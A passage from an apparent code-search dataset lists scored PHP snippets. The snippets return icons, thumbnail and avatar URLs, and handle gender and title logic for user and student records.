"fc291ca0437be10a529b674d8f9fb11b", "score": "0.6129736", "text": "public static function getIcon(): string\n {\n }", "title": "" }, { "docid": "62c087e731e9ac4912e81b6a1476d5bf", "score": "0.6120467", "text": "function bttk_get_supported_url_icon() {\r\n return apply_filters( 'bttk_social_icons_get_supported_url_icon', array(\r\n 'feed' => 'rss',\r\n 'ok.ru' => 'odnoklassniki',\r\n 'vk.com' => 'vk',\r\n 'last.fm' => 'lastfm',\r\n 'youtu.be' => 'youtube',\r\n 'battle.net' => 'battlenet',\r\n 'blogspot.com' => 'blogger',\r\n 'play.google.com' => 'play',\r\n 'plus.google.com' => 'google-plus',\r\n 'photos.google.com' => 'googlephotos',\r\n 'chrome.google.com' => 'chrome',\r\n 'scholar.google.com' => 'google-scholar',\r\n 'feedburner.google.com' => 'mail',\r\n ) );\r\n }", "title": "" }, { "docid": "e1d23bd016fc960cbd78cffc94ce8f19", "score": "0.61190546", "text": "public function get_icon()\n {\n return 'eicon-post-list';\n }", "title": "" }, { "docid": "8c475f9523510aa0ccfe4962b3003748", "score": "0.6107406", "text": "public function getIcon()\n {\n return $this->getMethod()->images['size2x'];\n }", "title": "" }, { "docid": "d770bbf36589fa3a11de8b07de94966b", "score": "0.6100933", "text": "public function getGiftwrapIcon() {\r\n return Mage::getStoreConfig('giftwrap/style/icon_image');\r\n }", "title": "" }, { "docid": "7c670b9e67e2f5268d2104beaf9d052b", "score": "0.6098962", "text": "public function getItemLinkUrl()\n {\n return $this->escapeXssInUrl($this->getEntity()->getData('list_item_url'));\n }", "title": "" }, { "docid": "a0a261734464d662a2c4f3342e6b5ab3", "score": "0.60965204", "text": "public function getThumbnailUrl();", "title": "" }, { "docid": "fbe8281dde03aebb56b98a5015534d2a", "score": "0.6077888", "text": "public function get_icon() {\n\t\treturn 'fa fa-images';\n\t}", "title": "" }, { "docid": "dc42138ea6f0b437b00a24ae7e2220df", "score": "0.6069199", "text": "public function get_icon2d(): string\n {\n return $this->_download('icon2d.png');\n }", "title": "" }, { "docid": "3aae1cbf0f26993d94911a101a037a48", "score": "0.606253", "text": "protected function getIcon()\n {\n /** @var IconFactory $iconFactory */\n $iconFactory = GeneralUtility::makeInstance(IconFactory::class);\n return $iconFactory->getIcon('px-shopware-clear-cache', Icon::SIZE_SMALL)->render();\n }", "title": "" }, { "docid": "aa7b112582609eca29f8d71200cd8a41", "score": "0.6054072", "text": "public function getIconUrl($size = null)\n\t{\n\t\treturn false;\n\t}", "title": "" }, { "docid": "5578970fcd41a36c98c317b620399901", "score": "0.60294324", "text": "public function icon()\n {\n return $this->icon;\n }", "title": "" }, { "docid": "8e19688afa481d82b9b7e43138da7d64", "score": "0.6029024", "text": "function getThumbUrl () {\n return link::thumb($this->dir, $this->file);\n }", "title": "" }, { "docid": "13a11b6771b8b90c6e886df77ef1a4f6", "score": "0.60248154", "text": "function block_core_social_link_get_icon($service)\n {\n }", "title": "" }, { "docid": "faab9eb2623ee167e6e6fbc781f80d5b", "score": "0.6016778", "text": "public function getUrl($size = false, $method=3, $script=false){\n $path=$this->getPath($size, $method);\n if($script){\n $url = Url::toRoute([\n '/'.$this->getModule()->id.'/images/image-by-item',\n 'item' => $this->id,\n 'size' => $size,\n 'method' => $method\n ]);\n exit;\n return $url;\n }else{\n $url='';\n if(isset(Yii::$app->params['siteUrl'])) $url=Yii::$app->params['siteUrl'];\n return $url.str_replace([$_SERVER['DOCUMENT_ROOT'],'\\\\'], ['','/'], $path);\n }\n\n }", "title": "" }, { "docid": "44ede9934530a76cc7ba4985dc7f0d4e", "score": "0.60096025", "text": "public function getThumbnailLocation() {\n\t\treturn Images::BLIZZARD_PATH . $this->thumbnail;\n\t}", "title": "" }, { "docid": "6b75b805e01efd5b09f91ef0d0aafca1", "score": "0.6003955", "text": "public function getFirstProfessionIconURL(){\r\n\t\treturn $this->buildProfessionIconURL($this->armoryAdapter->getWowArmoryUrl(),\r\n\t\t\t\t\t\t\t\t\t\t\tstrtolower($this->characterObject->getFirstProfession()));\r\n }", "title": "" }, { "docid": "760a8b3f44c30155ab934be54cf194aa", "score": "0.59959966", "text": "protected function iconHelp()\n {\n return 'For more icons please see <a href=\"http://fontawesome.io/icons/\" target=\"_blank\">http://fontawesome.io/icons/</a>';\n }", "title": "" }, { "docid": "d53394cf100b5a75de08d626db03dc94", "score": "0.599045", "text": "public function icon ( )\n\t{\n\t\treturn Array( 'id' => $this->id,\t// shoud be consistent with what is passed to _uicmp_stuff_fold class\n\t\t\t\t\t 'title' => $this->messages['icon'] );\n\t}", "title": "" }, { "docid": "e5561428a052fff32691d42f018c6255", "score": "0.5963458", "text": "public function getImageURL($size = 'original') {\n\t\treturn $this->_config['images']['base_url'] . $size;\n\t}", "title": "" }, { "docid": "cf0553af82b45b4389217b2bc182a180", "score": "0.59631574", "text": "public function getImage() {\n return Mage::helper('landingpage/image')->getImageUrl($this->getData('image'));\n }", "title": "" }, { "docid": "d65c768961e16934255be3ceb9be271f", "score": "0.5961771", "text": "function column_image($item){\n return sprintf('<img src=\"%1$s\">',\n /*$1%s*/ site_url().$item['image']\n );\n }", "title": "" }, { "docid": "8c7743d228f08b106e00b2adcbd53acb", "score": "0.59602094", "text": "public function getIcon() {\r\n\t\r\n\t$fileType = $this->getType();\r\n\t\r\n\t$image = array(\r\n\t 'image/gif',\r\n\t 'image/png',\r\n\t 'image/jpg',\r\n\t 'image/jpeg'\r\n\t);\r\n\t\r\n\t$rarZip = array(\r\n\t 'application/zip',\r\n 'application/x-rar-compressed'\r\n\t);\r\n\t\r\n\t$audio = array(\r\n\t 'audio/mpeg'\r\n\t);\r\n\t\r\n\t$video = array(\r\n\t 'video/quicktime',\r\n\t 'video/mp4'\r\n\t);\r\n\t\r\n\t$pdf = array(\r\n\t 'application/pdf'\r\n\t);\r\n\t\r\n\t$wordExcelPptx = array(\r\n\t 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\r\n\t 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\r\n\t 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\r\n\t 'application/msword',\r\n\t 'application/vnd.ms-excel',\r\n\t 'application/vnd.ms-powerpoint'\r\n\t);\r\n\t\r\n\tif (in_array($fileType, $image)) {\r\n\t return \"image.png\";\r\n\t} elseif (in_array($fileType, $audio)) {\r\n\t return \"audio.png\";\r\n\t} elseif (in_array($fileType, $video)) {\r\n\t return \"video.png\";\r\n\t} elseif (in_array($fileType, $rarZip)) {\r\n\t return \"rarZip.png\";\r\n\t} elseif (in_array($fileType, $pdf)) {\r\n\t return \"pdf.png\";\r\n\t} elseif (in_array($fileType, $wordExcelPptx)) {\r\n\t return \"wordExcelPptx.png\";\r\n\t} else {\r\n\t return \"default.png\";\r\n\t}\r\n\t\r\n }", "title": "" }, { "docid": "4f0fba564287f5db727f2b5200a2091c", "score": "0.5958649", "text": "public function get_default_icon()\n {\n return 'themes/default/images/icons/48x48/menu/_generic_admin/tool.png';\n }", "title": "" }, { "docid": "6fdfd1a7342dc76b2c4b72404501e9ee", "score": "0.5958282", "text": "public function getIcon()\n {\n }", "title": "" }, { "docid": "39316d6548d75b8c006aee53efcbeabe", "score": "0.5952754", "text": "static function Icon($icon_to_test)\n\t{\n\t\tif(in_array($icon_to_test, self::$_icons) )\n\t\t\treturn $icon_to_test;\n\t\tWdfException::Raise(\"Invalid Icon '$icon_to_test'\");\n return '';\n\t}", "title": "" }, { "docid": "359d5c56c0582eb03718fddb0365b1c2", "score": "0.5949217", "text": "public function getAltTalentIconURL(){\r\n\t\treturn $this->buildTalentIconURL($this->armoryAdapter->getWowArmoryUrl(),\r\n\t\t\t\t\t\t\t\t\t\t$this->characterObject->getWowClassId(),\r\n\t\t\t\t\t\t\t\t\t\t$this->characterObject->getAltTalentBranch());\r\n }", "title": "" }, { "docid": "72442eaad58dc1a9a3d4fdb63b2bcba7", "score": "0.59273106", "text": "public function getIconAvatarUrl() {\n return $this->imageUrl . '.jpg';\n }", "title": "" }, { "docid": "5800e4e1b970e242d2ff10eb90167ceb", "score": "0.5926631", "text": "public static function getFactoryIconUseIt() {\n }", "title": "" }, { "docid": "da9fe6fad8a471a3c9dad1c2371a60cc", "score": "0.5921821", "text": "public function facebookImage()\r\n\t{\r\n\t\treturn Mage::getStoreConfig('ezfacebook/facebook/iconimage');\r\n\t}", "title": "" }, { "docid": "35823152fef488057363f158c1342aad", "score": "0.5915425", "text": "public function getIconName() {}", "title": "" }, { "docid": "35823152fef488057363f158c1342aad", "score": "0.5915425", "text": "public function getIconName() {}", "title": "" }, { "docid": "35823152fef488057363f158c1342aad", "score": "0.5915054", "text": "public function getIconName() {}", "title": "" }, { "docid": "35823152fef488057363f158c1342aad", "score": "0.5915054", "text": "public function getIconName() {}", "title": "" }, { "docid": "eadaf2e32ba6d321f60e67925ca0f096", "score": "0.591417", "text": "private static function _find_icon($name) {\n if ($url = self::$_icon_cache[$name]) {\n return $url;\n }\n\n $filename = 'icon_' . $name . '.png';\n $path = Config::get('theme_path') . '/images/icons/';\n if (!file_exists(Config::get('prefix') . $path . $filename)) {\n $path = '/images/';\n }\n $url = Config::get('web_path') . $path . $filename;\n self::$_icon_cache[$name] = $url;\n\n return $url;\n }", "title": "" }, { "docid": "dc4ee58906f0f8488517216a4d6013db", "score": "0.59128493", "text": "function pleio_template_user_icon_url($hook, $type, $return_value, $params) {\n if ($return_value) {\n return null;\n }\n\n $user = $params['entity'];\n $size = $params['size'];\n\n if (!elgg_instanceof($user, 'user')) {\n return null;\n }\n\n $user_guid = $user->getGUID();\n $icon_time = $user->icontime;\n\n if (!$icon_time) {\n return \"/mod/pleio_template/src/images/user.png\";\n }\n\n if ($user->isBanned()) {\n return null;\n }\n\n $filehandler = new ElggFile();\n $filehandler->owner_guid = $user_guid;\n $filehandler->setFilename(\"profile/{$user_guid}{$size}.jpg\");\n\n try {\n if ($filehandler->exists()) {\n $join_date = $user->getTimeCreated();\n return \"mod/profile/icondirect.php?lastcache=$icon_time&joindate=$join_date&guid=$user_guid&size=$size\";\n }\n } catch (InvalidParameterException $e) {\n return \"/mod/pleio_template/src/images/user.png\";\n }\n\n return null;\n}", "title": "" }, { "docid": "830cafc1beefd3afe3b86370ddc1e412", "score": "0.5907957", "text": "function cpo_image_url( $id, $size = 'full' ) {\n\t$url = '';\n\tif ( is_numeric( $id ) ) {\n\t\t$url = wp_get_attachment_image_src( $id, $size );\n\t\t$url = $url[0];\n\t} else {\n\t\t$url = $id;\n\t}\n\n\treturn $url;\n}", "title": "" }, { "docid": "fe73c52e8ca8325464738882967348eb", "score": "0.5905645", "text": "public function avatarUrl(): string\n {\n $sizes = ['xl', 'l', 'm', 's'];\n\n foreach ($sizes as $size) {\n if (array_key_exists($size, $this->avatarUrls())) {\n return $this->avatarUrls()[$size];\n }\n }\n\n // Could not find any of the sizes specified, just return the first one in the array.\n return current($this->avatarUrls());\n }", "title": "" }, { "docid": "fe73c52e8ca8325464738882967348eb", "score": "0.5905645", "text": "public function avatarUrl(): string\n {\n $sizes = ['xl', 'l', 'm', 's'];\n\n foreach ($sizes as $size) {\n if (array_key_exists($size, $this->avatarUrls())) {\n return $this->avatarUrls()[$size];\n }\n }\n\n // Could not find any of the sizes specified, just return the first one in the array.\n return current($this->avatarUrls());\n }", "title": "" }, { "docid": "418fd3e63d44cfc4698074377a41bf9b", "score": "0.59042746", "text": "public function getSpriteIconCode() {}", "title": "" }, { "docid": "5a037c705d5cde111e4c069331e0ca84", "score": "0.5895096", "text": "public function getIcon(): ?string\n {\n foreach ($this->items as $item) {\n if (!empty($item->getIcon())) {\n return $item->getIcon();\n }\n }\n\n return null;\n }", "title": "" }, { "docid": "dccaf1c2df6e241060a16a3a9578175e", "score": "0.5891913", "text": "public function getIconForResourceWithPngFileReturnsIcon() {}", "title": "" }, { "docid": "3e8cf84add1de897da99a8fdb7831a79", "score": "0.58893037", "text": "protected function get__icon()\n\t{\n\t\treturn 'coffee';\n\t}", "title": "" } ]
d7ee9bb07a4f2592be0edfeb646c770e
Calculate title (for students, where there can only be two titles) gender must be set
[ { "docid": "8a8ff16a564088232a2012a0dc5a9a8e", "score": "0.7308048", "text": "public function calcTitle()\n {\n switch ($this->gender)\n {\n case 'M':\n $this->setTitle(\"MR\");\n break;\n case 'F':\n $this->setTitle(\"MS\");\n break;\n }\n }", "title": "" } ]
[ { "docid": "fe4d377ee16ce8cdae8b5ac0609a2403", "score": "0.64311934", "text": "function gender_sex($gender)\n\t{\n\t\tswitch ($gender)\n\t\t{\n\t\t\tcase Gender::MALE: \t\t$result = lang('boy');\t\tbreak;\n\t\t\tcase Gender::FEMALE: \t$result = lang('girl');\t\tbreak;\n\t\t\tdefault: \t\t\t\t$result = lang('none');\t\tbreak;\n\t\t}\n\t\treturn strtolower($result);\n\t}", "title": "" }, { "docid": "85044a3d2f4d61f1b387bb7bc90a6e4e", "score": "0.6351111", "text": "function gender_child($gender)\n\t{\n\t\tswitch ($gender)\n\t\t{\n\t\t\tcase Gender::MALE: \t\t$result = lang('son');\t\tbreak;\n\t\t\tcase Gender::FEMALE: \t$result = lang('daughter');\tbreak;\n\t\t\tdefault: \t\t\t\t$result = lang('none');\t\tbreak;\n\t\t}\n\t\treturn strtolower($result);\n\t}", "title": "" }, { "docid": "dfcbb0ce5466d174e5f13cd544a2cc9b", "score": "0.63040787", "text": "function gender($gender)\n\t{\n\t\tif (strcasecmp($gender, Gender::MALE) == 0)\n\t\t{\n\t\t\treturn '<font color=\"blue\">&#9794</font>';\n\t\t}\n\t\telse if (strcasecmp($gender, Gender::FEMALE) == 0)\n\t\t{\n\t\t\treturn '<font color=\"pink\">&#9792</font>';\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn lang('none');\n\t\t}\n\t}", "title": "" }, { "docid": "96e2d5fe691622d1a424b85be5ce9ab3", "score": "0.6236465", "text": "private function getHeShe() {\n if ($this->gender == \"female\") {\n return \" she \";\n } else {\n return \" he \";\n }\n }", "title": "" }, { "docid": "96e71cfda3a3a67294a6824b43d061ff", "score": "0.6152572", "text": "public function placementGenderWithTooltip()\n\t{\n\t\treturn $this->placementWithTooltip(\n\t\t\t$this->RaceResult->placeGender(),\n\t\t\t$this->RaceResult->participantsGender(),\n\t\t\t__('of %u men/women')\n\t\t);\n\t}", "title": "" }, { "docid": "ade6d314846b32c2eea0ac7088736b3f", "score": "0.6044014", "text": "function get_gender($gender)\n {\n switch ($gender) {\n case \"Male\":\n return \"M\";\n break;\n case \"Female\":\n return \"F\";\n break;\n default:\n return 'Unknown';\n }\n }", "title": "" }, { "docid": "1d278c196d8567fd6965a8e31a5c74b9", "score": "0.60307485", "text": "protected function getGender()\n {\n return 'Women\\'s';\n }", "title": "" }, { "docid": "6bee0d202f8533993d40e2b030c9fbe2", "score": "0.5996482", "text": "function get_gender($gender)\n {\n switch ($gender) {\n case \"Male\":\n return \"M\";\n break;\n case \"Female\":\n return \"F\";\n break;\n default:\n return 'Unknown';\n }\n }", "title": "" }, { "docid": "a9ea54b5b32f3904a36e4413316aac9a", "score": "0.59890765", "text": "function gender_pos($gender)\n\t{\n\t\tswitch ($gender)\n\t\t{\n\t\t\tcase Gender::MALE: \t\t$result = lang('his');\t\tbreak;\n\t\t\tcase Gender::FEMALE: \t$result = lang('her');\t\tbreak;\n\t\t\tdefault: \t\t\t\t$result = lang('none');\t\tbreak;\n\t\t}\n\t\treturn strtolower($result);\n\t}", "title": "" }, { "docid": "64d03829c930add27fdc88b51d103e9f", "score": "0.5958732", "text": "public function formatGender()\n {\n \tswitch ($this->gender) {\n \t\tcase 'm':\n \t\t\treturn 'Boy';\n \t\tbreak;\n\n \t\tcase 'f':\n \t\t\treturn 'Girl';\n \t\tbreak;\n\n \t\tcase 'u':\n \t\t\treturn 'Unisex';\n \t\tbreak;\n \t}\n }", "title": "" }, { "docid": "76a81e3992f17be61f597a82ae30d4da", "score": "0.5947339", "text": "function calculateResidents($gender, $dateOfBirth)\n{\n $maleAgeGroup5 = 99400;\n $maleAgeGroup4 = 56500;\n $maleAgeGroup3 = 40500;\n $maleAgeGroup2 = 22400;\n $maleAgeGroup1 = 15900;\n\n // Store population numbers in each variable corresponding to age group for female.\n $femaleAgeGroup5 = 104600;\n $femaleAgeGroup4 = 63000;\n $femaleAgeGroup3 = 51400;\n $femaleAgeGroup2 = 31900;\n $femaleAgeGroup1 = 31000;\n\n // Calculate age based on date of birth.\n $today = date(\"d-m-Y\");\n $diff = date_diff(date_create($dateOfBirth), date_create($today));\n $age = $diff->format('%y');\n\n $maleAgeText = \"Calculated age for male subject is\";\n $femaleAgeText = \"Calculated age for female subject is\";\n\n if ($gender == \"male\") {\n if ($age >= 0 && $age <= 4) {\n return \"$maleAgeText $age. There are $maleAgeGroup1 males in the 0-4 age group.<br>\";\n } else if ($age >= 5 && $age <= 9) {\n return \"$maleAgeText $age. There are $maleAgeGroup2 males in the 5-9 age group.<br>\";\n } else if ($age >= 10 && $age <= 14) {\n return \"$maleAgeText $age. There are $maleAgeGroup3 males in the 10-14 age group.<br>\";\n } else if ($age >= 15 && $age <= 19) {\n return \"$maleAgeText $age. There are $maleAgeGroup4 males in the 15-19 age group.<br>\";\n } else if ($age >= 20 && $age <= 24) {\n return \"$maleAgeText $age. There are $maleAgeGroup5 males in the 20-24 age group.<br>\";\n }\n } else if ($gender == \"female\") {\n if ($age >= 0 && $age <= 4) {\n return \"$femaleAgeText $age. There are $femaleAgeGroup1 females in the 0-4 age group.<br>\";\n } else if ($age >= 5 && $age <= 9) {\n return \"$femaleAgeText $age. There are $femaleAgeGroup2 females in the 5-9 age group.<br>\";\n } else if ($age >= 10 && $age <= 14) {\n return \"$femaleAgeText $age. There are $femaleAgeGroup3 females in the 10-14 age group.<br>\";\n } else if ($age >= 15 && $age <= 19) {\n return \"$femaleAgeText $age. There are $femaleAgeGroup4 females in the 15-19 age group.<br>\";\n } else if ($age >= 20 && $age <= 24) {\n return \"$femaleAgeText $age. There are $femaleAgeGroup5 females in the 20-24 age group.<br>\";\n }\n }\n return \"Data not found. Please try again.\";\n}", "title": "" }, { "docid": "bba37b745c44b0fec51c6caa301d21d2", "score": "0.59436315", "text": "function gender_parent($gender)\n\t{\n\t\tswitch ($gender)\n\t\t{\n\t\t\tcase Gender::MALE: \t\t$result = lang('father');\tbreak;\n\t\t\tcase Gender::FEMALE: \t$result = lang('mother');\tbreak;\n\t\t\tcase Gender::BOTH: \t\t$result = lang('both'); \tbreak;\n\t\t\tdefault: \t\t\t\t$result = lang('none');\t\tbreak;\n\t\t}\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "c9c13bb4b6fbe61cccc18a400e35b754", "score": "0.59011996", "text": "public function getGenderName()\n {\n return $this->gender->gender_name;\n }", "title": "" }, { "docid": "adfddae3621e0d288dec46a66ed4a0da", "score": "0.5870923", "text": "function _getGender()\n {\n $this->_getProperty(XML_FOAF_NS, 'gender', 'label');\n }", "title": "" }, { "docid": "1cc6bae2c9089c1ec2279a7cfec504bc", "score": "0.58685035", "text": "function changeGenderVi($gender){\n\t\treturn $gender == 'male'?\"Nam\":\"Nu\";\n\t\t// if ($gender == 'male') {\n\t\t// \treturn \"Nam\";\n\t\t// }else {\n\t\t// \treturn \"Nu\";\n\t\t// }\n\t}", "title": "" }, { "docid": "ac86eebee508ed42b5fc1eeb9c587670", "score": "0.5860056", "text": "public function getGenderNameAttribute()\n {\n return $this->gender === \"M\" ? 'Male' : 'Female';\n }", "title": "" }, { "docid": "6ba3967033b5ea077a83eee82713b910", "score": "0.58439934", "text": "public function getGender()\n {\n return parent::getValue('gender');\n }", "title": "" }, { "docid": "c0e3b65ac58e52a3f714f95daa03e5ea", "score": "0.5836631", "text": "public function getGenderString() {\n if ($this->gender === NULL) {\n return 'unknown';\n }\n if ($this->gender === 0) {\n return 'Female';\n }\n if ($this->gender === 1) {\n return 'Male';\n }\n }", "title": "" }, { "docid": "913f8d3559edc2b521ad4617ede69182", "score": "0.58337605", "text": "function they_now_gen($gender, $type) {\n\n if ($type == 1) {\n if ($gender == \"m\") {\n return \"He now has\";\n } elseif ($gender == \"f\") {\n return \"She now has\";\n } else {\n return \"They now have\";\n }\n } elseif ($type == 2) {\n if ($gender == \"m\") {\n return \"he has\";\n } elseif ($gender == \"f\") {\n return \"she has\";\n } else {\n return \"they have\";\n }\n } elseif ($type == 3) {\n if ($gender == \"m\") {\n return \"he\";\n } elseif ($gender == \"f\") {\n return \"she\";\n } else {\n return \"they\";\n }\n }\n }", "title": "" }, { "docid": "ed1faa1133eac68a5faa287d6bddbf5c", "score": "0.5777818", "text": "public function getGender(): string|null;", "title": "" }, { "docid": "11b90c7eea0d5b3f66e50c08c61cdb5f", "score": "0.5750975", "text": "function getGenderFromIdentity($identity) {\n // substring gender data and convert it to int\n $gender = (int) substr($identity, 6, 1);\n return ($gender >= 0 && $gender <= 4) ? 'Female' : 'Male';\n}", "title": "" }, { "docid": "bb8f717d8837c1e89675ceb267731a2c", "score": "0.5691338", "text": "public function getGender() {\n return Str::ucfirst($this->gender);\n }", "title": "" }, { "docid": "20afc00b3b5c51214c563ef4a69aaf1c", "score": "0.5687044", "text": "function getGender(){\n $gender = $_POST[\"gender\"];\n if ($gender == 'male'){\n echo \"<div id='gender'><h1>Unfortunately Womens Lacrosse has completely different rules from mens lacrosse. We apologize, but you cannot play with us.</div></h1>\";\n }\n \n \n \n \n}", "title": "" }, { "docid": "65cda08f52c47ebf5c3811497452b701", "score": "0.56664455", "text": "public static function getGender($gender)\n {\n switch (intval($gender))\n {\n case 1 : return Language::invokeOutput('frequent/female');\n break;\n case 2 : return Language::invokeOutput('frequent/male');\n break;\n default : return Language::invokeOutput('frequent/unset');\n break;\n }\n }", "title": "" }, { "docid": "d13de7e3a503c3446850c6bbfca61273", "score": "0.5652782", "text": "public function getGender(): string\n {\n\t\tswitch ( $this->parts->id & 1 ) {\n\t\t\tcase 0: return self::FEMALE;\n\t\t\tcase 1: return self::MALE;\n\t\t}\n\t}", "title": "" }, { "docid": "9d69850a27f08b78fb76a48efd1e4b07", "score": "0.5600711", "text": "public function prefix()\n {\n if($this->gender == \"m\"){\n return \"Mr.\";\n }\n else {\n return \"Miss.\";\n }\n }", "title": "" }, { "docid": "a03d3f16ec9adb455222899bad661e5d", "score": "0.5589348", "text": "public function getGender()\n {\n return $this->gender;\n }", "title": "" }, { "docid": "33a4b475599a7ae1e85080c0b2610a0b", "score": "0.5581317", "text": "function getGender()\n {\n return $this->__gender ;\n }", "title": "" }, { "docid": "2d506b019f1ee1faeaf725738c01a53b", "score": "0.5579019", "text": "public function getDefaultGender(): string|null;", "title": "" }, { "docid": "4264796580cbdec70a81be822d6be6fc", "score": "0.5578298", "text": "protected function getTitle(): ?string\n {\n return [\n 'male' => trans('Mr.'),\n 'female' => trans('Mrs.'),\n ][$this->value] ?? null;\n }", "title": "" }, { "docid": "f598c2c344143dd827ce8c9698d6c061", "score": "0.5573541", "text": "function getGender()\n {\n return ($this->__gender) ;\n }", "title": "" }, { "docid": "49bded09ee21cea525dcc1e5892eaa62", "score": "0.5567495", "text": "public function getGender(): string\n {\n return $this->gender;\n }", "title": "" }, { "docid": "49bded09ee21cea525dcc1e5892eaa62", "score": "0.5567495", "text": "public function getGender(): string\n {\n return $this->gender;\n }", "title": "" }, { "docid": "9ea0f9b4ac3c9d61e5eca229ad4d73c5", "score": "0.5564007", "text": "public function getSex()\n {\n return $this->getField('sex');\n }", "title": "" }, { "docid": "6792f8ef386062275d7caee277b97d0a", "score": "0.5538375", "text": "public function getGender(){\n return $this->gender;\n }", "title": "" }, { "docid": "9c2b98bc03d5fc3e3ac9fcda3532741c", "score": "0.55077153", "text": "public function getGender(): string\n {\n return RijksregisternummerHelper::getGender($this->rijksregisternummer);\n }", "title": "" }, { "docid": "3255e50a3e72cf2e361f5297a4a18378", "score": "0.55021673", "text": "function convert_gender($gender)\n\t{\n\t\tswitch ($gender)\n\t\t{\n\t\t\tcase 1:\n\t\t\t $gender = 'Female';\n\t\t\t break;\n\t\t\tcase 0:\n\t\t\t $gender = 'Male';\n\t\t\t break;\n\t\t}\n\treturn $gender;\n\t}", "title": "" }, { "docid": "4479c79ffb9e6bf5c29c40194c74ae57", "score": "0.5494243", "text": "public function getGender()\n {\n return strtoupper($this->gender);\n }", "title": "" }, { "docid": "5b9465a358ac08cf254a2cdb39ff20ad", "score": "0.54910845", "text": "public function getGender()\n {\n return $this->gender;\n }", "title": "" }, { "docid": "5b9465a358ac08cf254a2cdb39ff20ad", "score": "0.54910845", "text": "public function getGender()\n {\n return $this->gender;\n }", "title": "" }, { "docid": "81e1a2a2f8c802d9a687fc4d0db7560d", "score": "0.54807", "text": "function getGender($userid)\r\n {\r\n\t\t\treturn NULL;\r\n }", "title": "" }, { "docid": "1592e97a7bcadf162a6dcc576cec737f", "score": "0.54771024", "text": "public function title()\n\t{\n\t\t$others = \\IPS\\Db::i()->select( 'COUNT(*)', 'core_validating', array( 'user_verified=?', TRUE ) )->first();\n\t\t$names = array();\n\t\tforeach (\n\t\t\t\\IPS\\Db::i()->select(\n\t\t\t\t\"*\",\n\t\t\t\t'core_validating',\n\t\t\t\tarray( 'user_verified=?', TRUE ),\n\t\t\t\t'entry_date asc',\n\t\t\t\tarray( 0, 2 )\n\t\t\t)->join(\n\t\t\t\t\t'core_members',\n\t\t\t\t\t'core_validating.member_id=core_members.member_id'\n\t\t\t) as $user\n\t\t)\n\t\t{\n\t\t\t$names[ $user['member_id'] ] = htmlentities( $user['name'], ENT_DISALLOWED, 'UTF-8', FALSE );\n\t\t\t$others--;\n\t\t}\n\t\tif ( $others )\n\t\t{\n\t\t\t$names[] = \\IPS\\Member::loggedIn()->language()->addToStack( 'and_x_others', FALSE, array( 'pluralize' => array( $others ) ) );\n\t\t}\n\t\t\n\t\treturn \\IPS\\Member::loggedIn()->language()->addToStack( 'new_users_need_admin_validation', FALSE, array( 'pluralize' => array( \\count( $names ) ), 'sprintf' => array( \\IPS\\Member::loggedIn()->language()->formatList( $names ) ) ) );\n\t}", "title": "" }, { "docid": "fdbb54be0334f5d38587a2e9aa762289", "score": "0.54335874", "text": "public function hasGender(): bool;", "title": "" }, { "docid": "302749ceecc56a629b1f92cef6b47391", "score": "0.54298234", "text": "function getGender()\n\t\t{\n\t\t\t$gender = [\n\t\t\t\t'Male',\n\t\t\t\t'Female'\n\t\t\t];\n\t\t\treturn $gender;\n\t\t}", "title": "" }, { "docid": "a029f68d5772e20644ea002b0442e360", "score": "0.5423075", "text": "public function getGender()\r\n {\r\n return $this->_gender;\r\n }", "title": "" }, { "docid": "a029f68d5772e20644ea002b0442e360", "score": "0.5423075", "text": "public function getGender()\r\n {\r\n return $this->_gender;\r\n }", "title": "" }, { "docid": "45b1701b558f938164d02d0a5c6706bd", "score": "0.542186", "text": "public function getGender()\n\t{\n\t\treturn $this->gender;\n\t}", "title": "" }, { "docid": "45b1701b558f938164d02d0a5c6706bd", "score": "0.542186", "text": "public function getGender()\n\t{\n\t\treturn $this->gender;\n\t}", "title": "" }, { "docid": "45b1701b558f938164d02d0a5c6706bd", "score": "0.542186", "text": "public function getGender()\n\t{\n\t\treturn $this->gender;\n\t}", "title": "" }, { "docid": "85a42a9145444f001b16e524eabfae60", "score": "0.5400755", "text": "function getGender($userid){\r\n return NULL;\r\n\r\n }", "title": "" }, { "docid": "75a8d044468341279a24158886d4d27c", "score": "0.53979665", "text": "public function gender($gender) {\n\t\treturn ($gender === 'male' || $gender === 'female');\n\t}", "title": "" }, { "docid": "839781db0864e8156d58d77e24512554", "score": "0.5389794", "text": "function affSexe($sexe){\n if ($sexe==0) return 'male';\n if ($sexe==1) return 'femelle';\n if ($sexe==2) return 'hélicoptère Appach';\n return 'Au secours !';\n}", "title": "" }, { "docid": "1d50f219a0ead865314da74798252858", "score": "0.5388916", "text": "public function createTitle($userId, $seminaryId, $titleMale, $titleFemale)\n {\n $this->db->query(\n 'INSERT INTO charactertitles '.\n '(created_user_id, seminary_id, hash, title_male, title_female) '.\n 'VALUES '.\n '(?, ?, ?, ?, ?)',\n 'iisss',\n $userId, $seminaryId,\n \\hhu\\z\\Utils::createRandomHash(),\n $titleMale, $titleFemale\n //\\nre\\core\\Linker::createLinkParam($title),\n );\n\n\n return $this->db->getInsertId();\n }", "title": "" }, { "docid": "6494c2f752bcee7721ba9be2b5f190cd", "score": "0.53833365", "text": "public function getGender() {\n return $this->gender();\n }", "title": "" }, { "docid": "c2af80bbb556539bbbeaf98f68d5a615", "score": "0.53579926", "text": "public function getGender()\n {\n return $this->_gender;\n }", "title": "" }, { "docid": "5b11a7fe0e1c572758bffb629ccf3b81", "score": "0.5336571", "text": "public function getSex()\n {\n\n return $this->sex;\n }", "title": "" }, { "docid": "0ec8dd6793d26129b11d282eece29d0f", "score": "0.5291975", "text": "public function getGender() {\n\t\treturn $this->gender;\n\t}", "title": "" }, { "docid": "0ec8dd6793d26129b11d282eece29d0f", "score": "0.5291975", "text": "public function getGender() {\n\t\treturn $this->gender;\n\t}", "title": "" }, { "docid": "0ec8dd6793d26129b11d282eece29d0f", "score": "0.5291975", "text": "public function getGender() {\n\t\treturn $this->gender;\n\t}", "title": "" }, { "docid": "0ec8dd6793d26129b11d282eece29d0f", "score": "0.5291975", "text": "public function getGender() {\n\t\treturn $this->gender;\n\t}", "title": "" }, { "docid": "428ef5fcefbd351ca8494cf2ddd86478", "score": "0.529115", "text": "public function getGender()\n {\n return $this->Gender;\n }", "title": "" }, { "docid": "7760483eaa1c1ca7baae132f7c99add9", "score": "0.5265235", "text": "private function checkGender($gender)\n {\n if (intval($this->gender) >= 5000 && strtolower($gender) === \"female\"){\n throw new IdValidationException(\"The gender provided and the gender indicator 